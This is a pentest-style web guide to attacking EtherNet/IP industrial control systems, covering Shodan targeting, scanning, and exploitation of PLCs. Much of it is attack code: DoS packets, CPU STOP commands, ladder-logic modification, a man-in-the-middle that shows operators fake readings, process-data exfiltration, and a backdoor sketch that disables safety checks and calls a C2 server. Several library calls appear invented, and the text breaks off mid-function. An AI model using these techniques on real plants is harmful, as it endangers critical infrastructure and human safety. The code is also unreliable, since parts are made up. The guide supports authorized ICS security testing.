EtherNet/IP - Port 44818

Support VeryLazyTech 🎉

• Become VeryLazyTech member! 🎁

• Follow us on:

  • ✖ Twitter @VeryLazyTech.

  • 👾 Github @VeryLazyTech.

  • 📜 Medium @VeryLazyTech.

  • 📺 YouTube @VeryLazyTech.

  • 📩 Telegram @VeryLazyTech.

  • 🕵️‍♂️ My Site @VeryLazyTech.

• Visit our shop for e-books and courses. 📚

Basic info

EtherNet/IP represents one of the most widely deployed industrial networking protocols in critical infrastructure worldwide. As Industrial Control Systems (ICS) and Supervisory Control and Data Acquisition (SCADA) networks increasingly converge with enterprise IT networks, the attack surface expands dramatically. This comprehensive guide provides security professionals with the methodology and tools to assess EtherNet/IP implementations in manufacturing, utilities, water treatment, and other critical sectors.

The ICS/SCADA Security Challenge

Critical Statistics:

• 50,000+ EtherNet/IP devices exposed on the internet (Shodan data)

• 75% of ICS devices have unpatched vulnerabilities

• 0-day exploitation time: Minutes to hours for experienced attackers

• Impact: Physical damage, environmental disasters, loss of life

What is EtherNet/IP?

EtherNet/IP (Ethernet Industrial Protocol) is an industrial Ethernet networking protocol that adapts the Common Industrial Protocol (CIP) to standard Ethernet. Developed by Rockwell Automation in the late 1990s and now managed by ODVA (Open DeviceNet Vendors Association), it enables communication between:

• Programmable Logic Controllers (PLCs)

• Human Machine Interfaces (HMIs)

• Remote Terminal Units (RTUs)

• Variable Frequency Drives (VFDs)

• Sensors and Actuators

• Safety Systems

Industries Using EtherNet/IP

Industry	Applications
Manufacturing	Assembly lines, robotic cells, CNC machines
Utilities	Power generation, distribution automation
Water/Wastewater	Treatment plants, pump stations, SCADA systems
Oil & Gas	Refineries, pipelines, drilling operations
Food & Beverage	Processing, packaging, quality control
Automotive	Assembly robots, paint booths, conveyor systems
Pharmaceuticals	Clean rooms, batch processes, packaging
Building Automation	HVAC, lighting, access control

---

Understanding Industrial Control Systems

ICS/SCADA Architecture

┌─────────────────────────────────────────────────────────────────┐
│                    Enterprise Network (IT)                       │
│   ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│   │ ERP      │  │ MES      │  │ Database │  │ Web      │      │
│   │ Systems  │  │ Systems  │  │ Servers  │  │ Servers  │      │
│   └─────┬────┘  └─────┬────┘  └─────┬────┘  └─────┬────┘      │
│         └──────────────┴─────────────┴─────────────┘            │
└─────────────────────────┬───────────────────────────────────────┘
                          │ Demilitarized Zone (DMZ)
                          │ ┌────────────┐ ┌────────────┐
                          ├─┤  Firewall  │ │   Proxy    │
                          │ └────────────┘ └────────────┘
┌─────────────────────────┴───────────────────────────────────────┐
│               Supervisory Control Level (SCADA)                  │
│   ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│   │ SCADA    │  │ HMI      │  │ Historian│  │ Engineering│     │
│   │ Server   │  │ Systems  │  │ Database │  │ Workstation│     │
│   └─────┬────┘  └─────┬────┘  └─────┬────┘  └─────┬────┘      │
│         └──────────────┴─────────────┴─────────────┘            │
└─────────────────────────┴───────────────────────────────────────┘
                          │ Control Network (EtherNet/IP)
┌─────────────────────────┴───────────────────────────────────────┐
│                  Control System Level                            │
│   ┌──────────┐  ┌──────────┐  ┌──────────┐  ┌──────────┐      │
│   │  PLC 1   │  │  PLC 2   │  │  PLC 3   │  │ Safety   │      │
│   │(AB CLX)  │  │(AB CLX)  │  │(AB CLX)  │  │ PLC      │      │
│   └─────┬────┘  └─────┬────┘  └─────┬────┘  └─────┬────┘      │
│         └──────────────┴─────────────┴─────────────┘            │
└─────────────────────────┴───────────────────────────────────────┘
                          │ Device Network (EtherNet/IP)
┌─────────────────────────┴───────────────────────────────────────┐
│                    Field Device Level                            │
│  ┌─────┐  ┌─────┐  ┌─────┐  ┌─────┐  ┌─────┐  ┌─────┐        │
│  │Motor│  │Valve│  │Pump │  │Temp │  │Flow │  │Pressure│      │
│  │ VFD │  │ Act │  │ Act │  │Sensor│  │Meter│  │ Sensor│      │
│  └─────┘  └─────┘  └─────┘  └─────┘  └─────┘  └─────┘        │
└─────────────────────────────────────────────────────────────────┘

Purdue Model (ISA-95)

The industry-standard reference model for ICS:

Level 4/5: Enterprise Zone

• Business planning and logistics

• ERP, MES, corporate databases

• Standard IT security applies

Level 3.5: Industrial DMZ

• Data historians

• Application servers

• Critical security boundary

Level 3: Operations/Site Operations

• HMI, SCADA servers

• Engineering workstations

• Manufacturing operations management

Level 2: Control Zone

• PLCs, RTUs, DCS controllers

• Supervisory control

• EtherNet/IP typically operates here

Level 1: Basic Control

• Intelligent devices

• Local control panels

• I/O devices

Level 0: Process

• Sensors, actuators

• Field devices

• Physical process

---

EtherNet/IP & CIP Protocol Architecture

Common Industrial Protocol (CIP)

CIP is a media-independent protocol that provides:

• Device configuration

• Real-time I/O messaging

• Information exchange

• Safety and motion control

CIP Network Family:

• EtherNet/IP: CIP over TCP/IP and Ethernet

• DeviceNet: CIP over CAN (Controller Area Network)

• ControlNet: CIP over proprietary media

• CompoNet: CIP over time-division multiplexing

EtherNet/IP Protocol Stack

┌─────────────────────────────────────┐
│     Application Layer (CIP)         │  ← Objects, Services, Device Profiles
├─────────────────────────────────────┤
│  EtherNet/IP Encapsulation Layer   │  ← Port 44818 (TCP/UDP)
├─────────────────────────────────────┤
│   Transport Layer (TCP/UDP)         │  ← TCP port 44818 (explicit msgs)
│                                     │     UDP port 2222 (implicit msgs)
├─────────────────────────────────────┤
│     Network Layer (IP)              │  ← IPv4/IPv6
├─────────────────────────────────────┤
│   Data Link Layer (Ethernet)        │  ← IEEE 802.3
├─────────────────────────────────────┤
│    Physical Layer (Ethernet)        │  ← 10/100/1000 Mbps, fiber, copper
└─────────────────────────────────────┘

Port Assignments

Port	Protocol	Purpose
44818	TCP/UDP	Primary EtherNet/IP encapsulation
2222	UDP	Implicit (I/O) messaging
502	TCP	Modbus TCP (often co-located)
102	TCP	S7comm (Siemens)
20000	TCP	DNP3

CIP Message Structure

Encapsulation Header (24 bytes):

Offset  Size  Field              Description
------  ----  -----              -----------
0x00    2     Command            EtherNet/IP command code
0x02    2     Length             Data length
0x04    4     Session Handle     Session identifier (0 for unconnected)
0x08    4     Status             Error/success code
0x0C    8     Sender Context     Request identifier
0x14    4     Options            Protocol options (usually 0)
0x18    N     Data               Encapsulated CIP message

Common Command Codes:

#define CMD_NOP              0x0000  // No operation
#define CMD_LIST_SERVICES    0x0004  // List available services
#define CMD_LIST_IDENTITY    0x0063  // Device identification request
#define CMD_LIST_INTERFACES  0x0064  // List communication interfaces
#define CMD_REGISTER_SESSION 0x0065  // Establish session
#define CMD_UNREGISTER_SESSION 0x0066 // Close session
#define CMD_SEND_RR_DATA     0x006F  // Send request/reply data
#define CMD_SEND_UNIT_DATA   0x0070  // Send unconnected data

CIP Object Model

CIP uses an object-oriented structure:

Device
├── Identity Object (0x01)
│   ├── Vendor ID
│   ├── Product Code
│   ├── Serial Number
│   ├── Product Name
│   └── Firmware Revision
├── Assembly Object (0x04)
│   ├── Input Assembly
│   └── Output Assembly
├── Connection Manager (0x06)
│   └── Connection management
├── TCP/IP Interface Object (0xF5)
│   ├── IP Address
│   ├── Network Mask
│   └── Gateway
├── Ethernet Link Object (0xF6)
│   ├── MAC Address
│   └── Link Status
└── Application Objects (varies by device type)
    ├── Analog Input (0x0A)
    ├── Analog Output (0x0B)
    ├── Digital Input (0x07)
    ├── Digital Output (0x08)
    └── Motor Control, etc.

---

Why EtherNet/IP is a Security Risk

1. No Built-in Security (Legacy Protocol)

Critical Design Flaws:

• No authentication: Any device can connect

• No encryption: All traffic in cleartext

• No integrity checks: Messages can be modified

• No authorization: No access control mechanisms

• No audit logging: Attacks go undetected

Example: Reading PLC Memory

# Anyone on the network can do this:
from cpppo.server.enip import client

# No credentials needed
with client.connector(host='192.168.1.100') as conn:
    # Read PLC tags (variables)
    data = conn.read(['Program:MainProgram.Temperature'])
    print(f"Current Temperature: {data}")

2. Unauthenticated Command Execution

EtherNet/IP accepts dangerous commands without authentication:

CPU STOP Command:

# Stop PLC execution - no auth required!
send_cip_command(target, command=0x05, service=0x06)
# Result: All automation processes halt

Program Upload:

# Download PLC logic
upload_plc_program(target, output_file='stolen_logic.acd')
# Result: Intellectual property theft

Program Modification:

# Modify running logic
modify_rung(target, program='MainProgram', 
            rung=5, new_logic='malicious_code')
# Result: Process sabotage

3. Legacy Systems Cannot Be Updated

The "If It Ain't Broke" Problem:

• Systems run 10-20 years without updates

• Vendor support expired

• Downtime unacceptable (24/7 operations)

• Safety certifications invalidated by updates

Real-World Example:

Manufacturing Plant:
- Allen-Bradley ControlLogix PLCs (2005 vintage)
- Firmware: v12.x (20+ known CVEs)
- Last patched: Never
- Reason: "It works fine, why risk breaking it?"
- Risk: Remotely exploitable, no authentication

4. Flat Network Architecture

Typical ICS network:

[Internet] → [Corporate Network] → [Plant Network]
                     ↓
              [Engineering Workstation] (infected via phishing)
                     ↓
              [All PLCs, HMIs, SCADA] (no segmentation)

No network policies = Compromised laptop can reach all PLCs

5. IT/OT Convergence

Modern deployments bridge IT and OT:

Enterprise                    Plant Floor
   ↓                             ↓
[Cloud MES] ←─ [VPN] ─→ [HMI Server] → [PLCs]
[Remote Access] ────────────→ [Engineering Workstation]
[Vendor Support] ────────────→ [All Devices]

Attack Path: Internet → VPN → Engineering Workstation → All PLCs

6. Known Vulnerabilities

ICSA Advisories (Sample):

• ICSA-21-040-02: Allen-Bradley PLCs - Authentication bypass

• ICSA-20-105-01: Rockwell Automation - Unauthenticated remote code execution

• ICSA-19-274-01: Multiple vendors - Denial of service via malformed packets

• CVE-2012-6437: EtherNet/IP - Buffer overflow in List Identity command

---

Reconnaissance & Discovery

1. Internet-Wide Discovery

Shodan Queries

# Basic EtherNet/IP search
port:44818

# Find specific vendors
port:44818 "Rockwell Automation"
port:44818 "Allen-Bradley"
port:44818 "Omron"

# Find by product name
port:44818 "product name"
port:44818 "CompactLogix"
port:44818 "ControlLogix"

# Geographic targeting
port:44818 country:"US"
port:44818 city:"Houston"

# Find specific firmware versions
port:44818 "revision" "10."

# Combined queries
port:44818 "Allen-Bradley" "ControlLogix" country:"US"

API Usage:

import shodan

api = shodan.Shodan('YOUR_API_KEY')

# Search for EtherNet/IP devices
results = api.search('port:44818')

print(f"Found {results['total']} devices")

for result in results['matches']:
    print(f"\nIP: {result['ip_str']}")
    print(f"Organization: {result.get('org', 'N/A')}")
    print(f"Location: {result.get('location', {}).get('city', 'N/A')}")
    print(f"Product: {result.get('product', 'N/A')}")
    if 'data' in result:
        print(f"Banner: {result['data'][:200]}")

Censys Queries

from censys.search import CensysHosts

h = CensysHosts()

query = "services.port:44818"

for result in h.search(query, per_page=100):
    print(f"IP: {result['ip']}")
    for service in result.get('services', []):
        if service.get('port') == 44818:
            print(f"  Service: {service.get('service_name')}")
            print(f"  Banner: {service.get('banner', 'N/A')[:100]}")

2. Local Network Discovery

Nmap Scanning

# Basic port scan
nmap -p 44818 192.168.1.0/24

# Service detection
nmap -sV -p 44818,2222 192.168.1.0/24

# EtherNet/IP NSE script
nmap -p 44818 --script enip-info 192.168.1.0/24

# Comprehensive scan
sudo nmap -sS -sV -sU -p 44818,2222,502,102 \
  --script enip-info,banner \
  --open \
  -oA ethernetip_scan \
  192.168.1.0/24

Expected Output:

PORT      STATE SERVICE VERSION
44818/tcp open  enip    EtherNet/IP
| enip-info:
|   Vendor: Rockwell Automation/Allen-Bradley (0001)
|   Product Name: 1756-L72/B LOGIX5572
|   Serial Number: 12345678
|   Product Code: 89 (0x0059)
|   Revision: 28.11
|   Status: 0x3120
|   State: 3
|_  Device IP: 192.168.1.100

Using cpppo (Python)

# Install cpppo
pip3 install cpppo

# List Identity (TCP)
python3 -m cpppo.server.enip.list_identity -a 192.168.1.100

# List Identity (UDP broadcast)
python3 -m cpppo.server.enip.list_identity --udp --broadcast

# List Services
python3 -m cpppo.server.enip.list_services -a 192.168.1.100

Custom Python Scanner:

#!/usr/bin/env python3
import socket
import struct
import sys

def send_list_identity(target, port=44818):
    """
    Send EtherNet/IP List Identity command
    """
    # Build List Identity command (0x0063)
    header = struct.pack('<HHIIQII',
        0x0063,  # Command: List Identity
        0,       # Length: 0 (no data)
        0,       # Session Handle: 0
        0,       # Status: 0
        0,       # Sender Context: 0
        0        # Options: 0
    )
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    
    try:
        sock.connect((target, port))
        sock.send(header)
        
        response = sock.recv(4096)
        
        if len(response) >= 24:
            # Parse response
            cmd, length, session, status = struct.unpack('<HHII', response[:12])
            
            if cmd == 0x0063 and status == 0:
                print(f"[+] {target} - EtherNet/IP device found")
                
                # Parse device identity
                if len(response) > 28:
                    data = response[28:]
                    parse_identity(data, target)
                
                return True
        
        sock.close()
        return False
        
    except socket.timeout:
        print(f"[-] {target} - Timeout")
        return False
    except Exception as e:
        print(f"[-] {target} - Error: {e}")
        return False

def parse_identity(data, target):
    """
    Parse device identity from List Identity response
    """
    try:
        # Skip to identity data (varies by device)
        # Look for vendor ID, device type, product code
        
        if len(data) >= 20:
            # Typical identity structure
            vendor_id = struct.unpack('<H', data[0:2])[0]
            device_type = struct.unpack('<H', data[2:4])[0]
            product_code = struct.unpack('<H', data[4:6])[0]
            
            vendors = {
                0x0001: "Rockwell Automation/Allen-Bradley",
                0x0002: "Omron",
                0x0003: "Schneider Electric",
                0x0009: "Honeywell",
                0x000F: "Siemens"
            }
            
            vendor = vendors.get(vendor_id, f"Unknown (0x{vendor_id:04X})")
            
            print(f"    Vendor: {vendor}")
            print(f"    Device Type: {device_type}")
            print(f"    Product Code: {product_code}")
            
    except Exception as e:
        print(f"    Error parsing identity: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_ip> [target_ip...]")
        sys.exit(1)
    
    for target in sys.argv[1:]:
        send_list_identity(target)

3. Passive Discovery

Network Sniffing

# Capture EtherNet/IP traffic
sudo tcpdump -i eth0 'tcp port 44818 or udp port 2222' -w enip.pcap

# Use tshark for analysis
tshark -r enip.pcap -Y "enip" -T fields \
  -e ip.src -e ip.dst -e enip.command | sort -u

Wireshark Analysis

Wireshark has built-in EtherNet/IP dissector:

Display Filters:
- enip                    (All EtherNet/IP traffic)
- enip.command == 0x0063  (List Identity)
- enip.command == 0x006f  (Send RR Data)
- enip.command == 0x0070  (Send Unit Data)
- cip                     (CIP layer)
- cip.sc == 0x01          (Get Attribute Single)
- cip.sc == 0x0e          (Read Tag)

4. Fingerprinting Devices

#!/usr/bin/env python3
from cpppo.server.enip import client
import socket

def fingerprint_device(host, port=44818):
    """
    Comprehensive device fingerprinting
    """
    info = {
        'host': host,
        'port': port,
        'accessible': False,
        'vendor': None,
        'product': None,
        'serial': None,
        'firmware': None,
        'device_type': None,
        'ip_address': None,
        'mac_address': None
    }
    
    try:
        # Test connectivity
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((host, port))
        sock.close()
        info['accessible'] = True
        
        # Use cpppo to get detailed info
        with client.connector(host=host, port=port) as conn:
            # Read Identity Object
            identity = conn.read([
                '@0x01/1',  # Identity Object
            ])
            
            if identity:
                info['vendor'] = identity.get('vendor')
                info['product'] = identity.get('product_name')
                info['serial'] = identity.get('serial_number')
                info['firmware'] = identity.get('revision')
            
            # Read TCP/IP Interface Object
            tcpip = conn.read([
                '@0xF5/1',  # TCP/IP Interface Object
            ])
            
            if tcpip:
                info['ip_address'] = tcpip.get('ip_address')
            
            # Read Ethernet Link Object
            eth_link = conn.read([
                '@0xF6/1',  # Ethernet Link Object
            ])
            
            if eth_link:
                info['mac_address'] = eth_link.get('mac_address')
        
    except Exception as e:
        print(f"Error fingerprinting {host}: {e}")
    
    return info

# Usage
device = fingerprint_device('192.168.1.100')
print(f"Device: {device['product']}")
print(f"Vendor: {device['vendor']}")
print(f"Firmware: {device['firmware']}")

---

Enumeration Techniques

1. Device Enumeration

List Identity Command

#!/usr/bin/env python3
import socket
import struct

def list_identity(target, port=44818):
    """
    Send List Identity command (0x0063)
    """
    # EtherNet/IP Encapsulation Header
    command = 0x0063  # List Identity
    length = 0
    session = 0
    status = 0
    context = 0
    options = 0
    
    packet = struct.pack('<HHIIQII',
        command, length, session, status, context, options
    )
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    
    try:
        sock.connect((target, port))
        sock.send(packet)
        response = sock.recv(4096)
        sock.close()
        
        if len(response) >= 24:
            return parse_list_identity_response(response)
        
    except Exception as e:
        print(f"Error: {e}")
    
    return None

def parse_list_identity_response(data):
    """
    Parse List Identity response
    """
    # Skip encapsulation header (24 bytes)
    if len(data) < 28:
        return None
    
    identity_data = data[28:]
    
    # Parse CPF (Common Packet Format)
    # This is simplified - real parsing is more complex
    
    result = {
        'raw_data': data.hex(),
        'identity_items': []
    }
    
    # Look for device information
    # Vendor ID, Device Type, Product Code, Revision, etc.
    
    return result

# Test
info = list_identity('192.168.1.100')
if info:
    print(f"Device Info: {info}")

2. Reading PLC Tags

from cpppo.server.enip import client

def read_plc_tags(host, tags):
    """
    Read PLC tag values
    """
    results = {}
    
    try:
        with client.connector(host=host) as conn:
            # Read multiple tags
            data = conn.read(tags)
            
            for tag in tags:
                if tag in data:
                    results[tag] = data[tag]
    
    except Exception as e:
        print(f"Error reading tags: {e}")
    
    return results

# Common tag naming conventions
common_tags = [
    'Program:MainProgram.Temperature',
    'Program:MainProgram.Pressure',
    'Program:MainProgram.FlowRate',
    'Program:MainProgram.MotorSpeed',
    'Program:MainProgram.ValvePosition',
    'Local:1:I.Data',  # Input module data
    'Local:2:O.Data',  # Output module data
]

# Read tags
values = read_plc_tags('192.168.1.100', common_tags)
for tag, value in values.items():
    print(f"{tag}: {value}")

3. Program Upload

def upload_program(host, output_file='plc_backup.acd'):
    """
    Upload PLC program (if permitted)
    """
    try:
        with client.connector(host=host) as conn:
            # Request program upload
            # This requires appropriate permissions
            program_data = conn.upload_program()
            
            if program_data:
                with open(output_file, 'wb') as f:
                    f.write(program_data)
                
                print(f"[+] Program uploaded: {output_file}")
                print(f"    Size: {len(program_data)} bytes")
                return True
    
    except Exception as e:
        print(f"[-] Upload failed: {e}")
    
    return False

# Attempt upload
upload_program('192.168.1.100')

4. Enumerating I/O Modules

def enumerate_io_modules(host):
    """
    Discover I/O modules in PLC rack
    """
    modules = []
    
    try:
        with client.connector(host=host) as conn:
            # Scan local I/O (slots 0-16 typical)
            for slot in range(17):
                try:
                    # Read Identity Object for each slot
                    identity = conn.read([f'@0x01/{slot}'])
                    
                    if identity:
                        module = {
                            'slot': slot,
                            'vendor': identity.get('vendor'),
                            'product_name': identity.get('product_name'),
                            'catalog_number': identity.get('catalog_number'),
                            'serial_number': identity.get('serial_number')
                        }
                        
                        modules.append(module)
                        print(f"[+] Slot {slot}: {module['product_name']}")
                
                except:
                    pass  # Slot empty or inaccessible
    
    except Exception as e:
        print(f"Error enumerating modules: {e}")
    
    return modules

# Enumerate
modules = enumerate_io_modules('192.168.1.100')

5. Network Topology Discovery

def discover_network_topology(seed_hosts):
    """
    Map EtherNet/IP network topology
    """
    discovered = set()
    topology = []
    
    def scan_host(host):
        if host in discovered:
            return
        
        discovered.add(host)
        print(f"[*] Scanning {host}...")
        
        device_info = fingerprint_device(host)
        if not device_info['accessible']:
            return
        
        topology.append(device_info)
        
        # Check for connected devices
        # Look at routing tables, connected devices list, etc.
        try:
            with client.connector(host=host) as conn:
                # Read network connections
                # This is vendor-specific
                pass
        
        except:
            pass
    
    for host in seed_hosts:
        scan_host(host)
    
    return topology

---

Protocol Analysis & Reverse Engineering

1. Wireshark Analysis

Installing Dissector

Wireshark includes built-in EtherNet/IP and CIP dissectors.

Enhanced Analysis:

# Capture with specific filters
tshark -i eth0 -f "tcp port 44818" -w enip_capture.pcap

# Extract statistics
tshark -r enip_capture.pcap -q -z "io,phs"

# Extract conversations
tshark -r enip_capture.pcap -q -z "conv,tcp"

# List all commands used
tshark -r enip_capture.pcap -T fields -e enip.command | sort -u

Analyzing CIP Messages

Filter: enip.command == 0x006f && cip

Example CIP Read Tag request:
- Service: 0x4C (Read Tag)
- Request Path: Class 0x6B (Symbol), Instance 0x00
- Tag Name: "Program:MainProgram.Temperature"

Response:
- Service: 0xCC (Read Tag Response - success)
- Data Type: DINT (0xC4)
- Value: 72 (degrees)

2. Packet Crafting

#!/usr/bin/env python3
import socket
import struct

def craft_enip_packet(command, data=b''):
    """
    Create EtherNet/IP encapsulation packet
    """
    header = struct.pack('<HHIIQII',
        command,        # Command code
        len(data),      # Data length
        0,              # Session handle
        0,              # Status
        0,              # Sender context
        0               # Options
    )
    
    return header + data

def send_command(target, command, data=b'', port=44818):
    """
    Send EtherNet/IP command
    """
    packet = craft_enip_packet(command, data)
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(3)
    
    try:
        sock.connect((target, port))
        sock.send(packet)
        response = sock.recv(4096)
        sock.close()
        return response
    
    except Exception as e:
        print(f"Error: {e}")
        return None

# Send List Services command
response = send_command('192.168.1.100', 0x0004)
if response:
    print(f"Response: {response.hex()}")

3. CIP Message Construction

def craft_cip_read_tag(tag_name):
    """
    Create CIP Read Tag message
    """
    # CIP Service: Read Tag (0x4C)
    service = 0x4C
    
    # Path to Symbol Object
    path_size = 2  # Path size in words
    path = struct.pack('<BB', 0x91, len(tag_name))  # ANSI Extended Symbol
    path += tag_name.encode('ascii')
    
    # Pad to even length
    if len(tag_name) % 2:
        path += b'\x00'
    
    # Number of elements to read
    elements = 1
    
    cip_data = struct.pack('<BB', service, path_size) + path + struct.pack('<H', elements)
    
    return cip_data

def read_tag_value(host, tag_name):
    """
    Read PLC tag using crafted CIP message
    """
    # Create CIP message
    cip_msg = craft_cip_read_tag(tag_name)
    
    # Wrap in EtherNet/IP Send RR Data
    # This is simplified - real implementation more complex
    
    # Send and parse response
    # ...
    
    pass

---

Exploitation Techniques

1. Denial of Service Attacks

Malformed Packet DoS

def dos_malformed_packet(target, port=44818):
    """
    Send malformed EtherNet/IP packets to cause DoS
    """
    # Malformed command codes
    malformed_commands = [
        0xFFFF,  # Invalid command
        0x9999,  # Reserved command
        0x0001,  # NOP with data (should be 0 length)
    ]
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        sock.connect((target, port))
        
        for cmd in malformed_commands:
            # Create packet with incorrect length
            packet = struct.pack('<HHIIQII',
                cmd,
                0xFFFFFFFF,  # Malicious length
                0, 0, 0, 0
            ) + b'X' * 10000  # Oversized data
            
            sock.send(packet)
        
        sock.close()
        print(f"[+] DoS packets sent to {target}")
    
    except Exception as e:
        print(f"Error: {e}")

# WARNING: This can crash PLCs - use only in authorized testing
# dos_malformed_packet('192.168.1.100')

CPU STOP Command

def stop_plc_cpu(target):
    """
    Send CPU STOP command (Rockwell/AB PLCs)
    DANGEROUS: Halts all automation processes
    """
    try:
        with client.connector(host=target) as conn:
            # CIP Service: Stop (0x06)
            # Path: Class 0x01 (Identity), Instance 0x01
            
            # This is vendor-specific
            # Rockwell PLCs accept this command
            
            result = conn.stop_cpu()
            
            if result:
                print(f"[!] PLC CPU STOPPED: {target}")
                print(f"    All processes halted!")
                return True
    
    except Exception as e:
        print(f"Stop failed: {e}")
    
    return False

# WARNING: CRITICAL IMPACT
# stop_plc_cpu('192.168.1.100')

2. Metasploit Modules

# Using Metasploit Framework
msfconsole

# Load EtherNet/IP module
use auxiliary/admin/scada/multi_cip_command

# Set options
set RHOST 192.168.1.100
set RPORT 44818

# Available commands
set COMMAND stop    # Stop CPU
set COMMAND crash   # Crash Ethernet module
set COMMAND status  # Get status

# Execute
run

Available Metasploit Modules:

• auxiliary/admin/scada/multi_cip_command - Multiple CIP commands

• auxiliary/scanner/scada/enip_enumerate - Enumerate devices

• auxiliary/gather/rockwell_download - Download PLC program

3. Logic Modification

def modify_plc_logic(host, program_name, rung_number, new_logic):
    """
    Modify PLC ladder logic
    EXTREMELY DANGEROUS: Can cause equipment damage
    """
    try:
        with client.connector(host=host) as conn:
            # Download current program
            program = conn.upload_program()
            
            # Modify specific rung
            # This requires understanding of .ACD file format
            modified_program = modify_rung_logic(
                program,
                program_name,
                rung_number,
                new_logic
            )
            
            # Upload modified program
            conn.download_program(modified_program)
            
            print(f"[!] Logic modified: Program {program_name}, Rung {rung_number}")
            return True
    
    except Exception as e:
        print(f"Modification failed: {e}")
    
    return False

# CRITICAL: Only use in isolated test environment
# modify_plc_logic('192.168.1.100', 'MainProgram', 5, 'malicious_code')

4. Man-in-the-Middle Attacks

#!/usr/bin/env python3
from scapy.all import *
import struct

class EtherNetIPMitM:
    def __init__(self, target_plc, target_hmi):
        self.plc = target_plc
        self.hmi = target_hmi
        self.modified_packets = 0
    
    def intercept_and_modify(self, packet):
        """
        Intercept EtherNet/IP traffic and modify it
        """
        if TCP in packet and packet[TCP].dport == 44818:
            # Traffic from HMI to PLC
            print(f"[→] HMI → PLC: {len(packet)} bytes")
            
            # Parse EtherNet/IP header
            if len(packet[Raw].load) >= 24:
                data = packet[Raw].load
                cmd = struct.unpack('<H', data[0:2])[0]
                
                # Modify Write Tag commands
                if cmd == 0x006F:  # Send RR Data
                    # Parse CIP layer
                    # Modify tag values
                    modified_data = self.modify_write_command(data)
                    
                    if modified_data:
                        packet[Raw].load = modified_data
                        self.modified_packets += 1
                        print(f"    [!] Modified write command")
        
        elif TCP in packet and packet[TCP].sport == 44818:
            # Traffic from PLC to HMI
            print(f"[←] PLC → HMI: {len(packet)} bytes")
            
            # Modify read responses
            if len(packet[Raw].load) >= 24:
                data = packet[Raw].load
                modified_data = self.modify_read_response(data)
                
                if modified_data:
                    packet[Raw].load = modified_data
                    self.modified_packets += 1
                    print(f"    [!] Modified read response")
        
        return packet
    
    def modify_write_command(self, data):
        """
        Modify values being written to PLC
        """
        # Example: Change setpoint values
        # This requires parsing CIP Write Tag commands
        return data  # Return modified data
    
    def modify_read_response(self, data):
        """
        Modify values being read from PLC
        """
        # Example: Display fake sensor readings on HMI
        # Operator sees normal values while process is abnormal
        return data  # Return modified data

# Setup MitM
mitm = EtherNetIPMitM('192.168.1.100', '192.168.1.50')

# Start sniffing and modifying
sniff(prn=mitm.intercept_and_modify, 
      filter="tcp port 44818",
      store=0)

5. Data Exfiltration

def exfiltrate_process_data(host, duration=3600):
    """
    Continuously read and exfiltrate process data
    """
    import time
    import json
    
    tags_to_monitor = [
        'Temperature_01',
        'Pressure_01',
        'Flow_Rate_01',
        'Motor_Speed_01',
        'Valve_Position_01',
        # Add more critical tags
    ]
    
    exfil_data = []
    start_time = time.time()
    
    print(f"[*] Starting data exfiltration from {host}")
    
    while time.time() - start_time < duration:
        try:
            with client.connector(host=host) as conn:
                # Read all tags
                values = conn.read(tags_to_monitor)
                
                # Add timestamp
                data_point = {
                    'timestamp': time.time(),
                    'values': values
                }
                
                exfil_data.append(data_point)
                
                # Exfiltrate (example: save to file)
                # In real attack: send to C2 server
                with open('exfiltrated_data.json', 'w') as f:
                    json.dump(exfil_data, f, indent=2)
        
        except Exception as e:
            print(f"Error: {e}")
        
        time.sleep(1)  # Poll every second
    
    print(f"[+] Exfiltrated {len(exfil_data)} data points")

---

Post-Exploitation & Impact Analysis

1. Understanding Physical Impact

Process Control Manipulation:

def analyze_process_impact(host):
    """
    Determine potential physical impact of attacks
    """
    impacts = {
        'temperature_sensors': [],
        'pressure_sensors': [],
        'flow_controls': [],
        'motor_controls': [],
        'safety_systems': []
    }
    
    try:
        with client.connector(host=host) as conn:
            # Discover all tags
            tags = conn.discover_tags()
            
            for tag in tags:
                tag_name = tag.lower()
                
                # Categorize by function
                if 'temp' in tag_name:
                    impacts['temperature_sensors'].append(tag)
                elif 'press' in tag_name:
                    impacts['pressure_sensors'].append(tag)
                elif 'flow' in tag_name:
                    impacts['flow_controls'].append(tag)
                elif 'motor' in tag_name or 'speed' in tag_name:
                    impacts['motor_controls'].append(tag)
                elif 'safety' in tag_name or 'estop' in tag_name:
                    impacts['safety_systems'].append(tag)
    
    except Exception as e:
        print(f"Error: {e}")
    
    # Assess criticality
    print("\n[*] Impact Assessment:")
    print(f"Temperature Controls: {len(impacts['temperature_sensors'])} tags")
    print(f"Pressure Controls: {len(impacts['pressure_sensors'])} tags")
    print(f"Flow Controls: {len(impacts['flow_controls'])} tags")
    print(f"Motor Controls: {len(impacts['motor_controls'])} tags")
    print(f"Safety Systems: {len(impacts['safety_systems'])} tags")
    
    if impacts['safety_systems']:
        print("\n[!] CRITICAL: Safety system controls discovered!")
        print("    Manipulation could cause injury or death")
    
    return impacts

2. Persistence Mechanisms

def establish_persistence(host):
    """
    Establish persistent backdoor in PLC
    """
    try:
        with client.connector(host=host) as conn:
            # Upload current program
            program = conn.upload_program()
            
            # Inject backdoor logic
            # Options:
            # 1. Add hidden tags that trigger malicious code
            # 2. Modify existing rungs to include backdoor
            # 3. Add periodic callback to C2 server
            
            backdoor_logic = create_backdoor_logic()
            modified_program = inject_logic(program, backdoor_logic)
            
            # Download modified program
            conn.download_program(modified_program)
            
            print("[+] Backdoor installed in PLC logic")
            print("    Trigger: Write value 0xDEAD to tag 'System_Status'")
    
    except Exception as e:
        print(f"Persistence failed: {e}")

def create_backdoor_logic():
    """
    Create malicious ladder logic
    """
    # Pseudo-code for backdoor:
    # IF Hidden_Trigger = 0xDEAD THEN
    #     Enable_Remote_Control = TRUE
    #     Disable_Safety_Checks = TRUE
    #     Send_Process_Data_To_C2()
    # END_IF
    
    return "backdoor_ladder_logic"

3. Lateral Movement

def pivot_to_other_devices(compromised_host):
    """
    Use compromised PLC to access other devices
    """
    discovered_devices = []
    
    try:
        # Scan local network from PLC
